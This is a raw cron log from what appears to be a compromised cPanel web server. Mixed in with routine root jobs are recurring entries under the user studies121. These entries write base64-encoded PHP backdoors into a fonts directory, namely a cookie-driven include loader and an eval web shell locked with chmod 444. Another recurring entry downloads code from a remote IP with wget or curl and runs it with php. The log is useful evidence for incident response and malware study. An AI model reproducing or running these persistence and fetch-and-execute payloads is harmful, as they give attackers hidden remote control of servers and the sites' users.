Sep 22 15:56:01 ip-184-168-122-23 CROND[2542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:57:01 ip-184-168-122-23 CROND[2865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:57:01 ip-184-168-122-23 CROND[2866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:57:01 ip-184-168-122-23 CROND[2867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:57:01 ip-184-168-122-23 CROND[2869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:58:01 ip-184-168-122-23 CROND[3072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:58:01 ip-184-168-122-23 CROND[3074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:58:01 ip-184-168-122-23 CROND[3076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:58:01 ip-184-168-122-23 CROND[3075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:58:01 ip-184-168-122-23 CROND[3077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:59:01 ip-184-168-122-23 CROND[3217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:59:01 ip-184-168-122-23 CROND[3219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:59:01 ip-184-168-122-23 CROND[3221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:59:01 ip-184-168-122-23 CROND[3222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:00:01 ip-184-168-122-23 CROND[3382]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 16:00:01 ip-184-168-122-23 CROND[3387]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:00:01 ip-184-168-122-23 CROND[3386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:00:01 ip-184-168-122-23 CROND[3385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:00:01 ip-184-168-122-23 CROND[3388]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 16:00:01 ip-184-168-122-23 CROND[3389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:00:01 ip-184-168-122-23 CROND[3390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:00:01 ip-184-168-122-23 CROND[3393]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 16:00:01 ip-184-168-122-23 CROND[3392]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 22 16:01:01 ip-184-168-122-23 CROND[3549]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3549]: starting 0anacron
Sep 22 16:01:01 ip-184-168-122-23 CROND[3556]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 16:01:01 ip-184-168-122-23 CROND[3558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:01:01 ip-184-168-122-23 CROND[3553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:01:01 ip-184-168-122-23 CROND[3559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:01:01 ip-184-168-122-23 CROND[3562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3568]: finished 0anacron
Sep 22 16:02:01 ip-184-168-122-23 CROND[4492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:02:01 ip-184-168-122-23 CROND[4493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:02:01 ip-184-168-122-23 CROND[4495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:02:01 ip-184-168-122-23 CROND[4494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:02:01 ip-184-168-122-23 CROND[4497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:03:01 ip-184-168-122-23 CROND[5743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:03:01 ip-184-168-122-23 CROND[5742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:03:01 ip-184-168-122-23 CROND[5744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:03:01 ip-184-168-122-23 CROND[5745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:04:01 ip-184-168-122-23 CROND[6704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:04:01 ip-184-168-122-23 CROND[6707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:04:01 ip-184-168-122-23 CROND[6709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:04:01 ip-184-168-122-23 CROND[6710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:04:01 ip-184-168-122-23 CROND[6708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:05:01 ip-184-168-122-23 CROND[7388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 16:05:01 ip-184-168-122-23 CROND[7389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:05:01 ip-184-168-122-23 CROND[7391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:05:01 ip-184-168-122-23 CROND[7394]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 16:05:01 ip-184-168-122-23 CROND[7395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:05:01 ip-184-168-122-23 CROND[7399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 16:05:01 ip-184-168-122-23 CROND[7397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:06:01 ip-184-168-122-23 CROND[8146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:06:01 ip-184-168-122-23 CROND[8150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:06:01 ip-184-168-122-23 CROND[8149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:06:01 ip-184-168-122-23 CROND[8152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:06:01 ip-184-168-122-23 CROND[8153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:07:01 ip-184-168-122-23 CROND[8822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:07:01 ip-184-168-122-23 CROND[8826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:07:01 ip-184-168-122-23 CROND[8824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:07:01 ip-184-168-122-23 CROND[8823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:08:01 ip-184-168-122-23 CROND[8944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:08:01 ip-184-168-122-23 CROND[8946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:08:01 ip-184-168-122-23 CROND[8947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
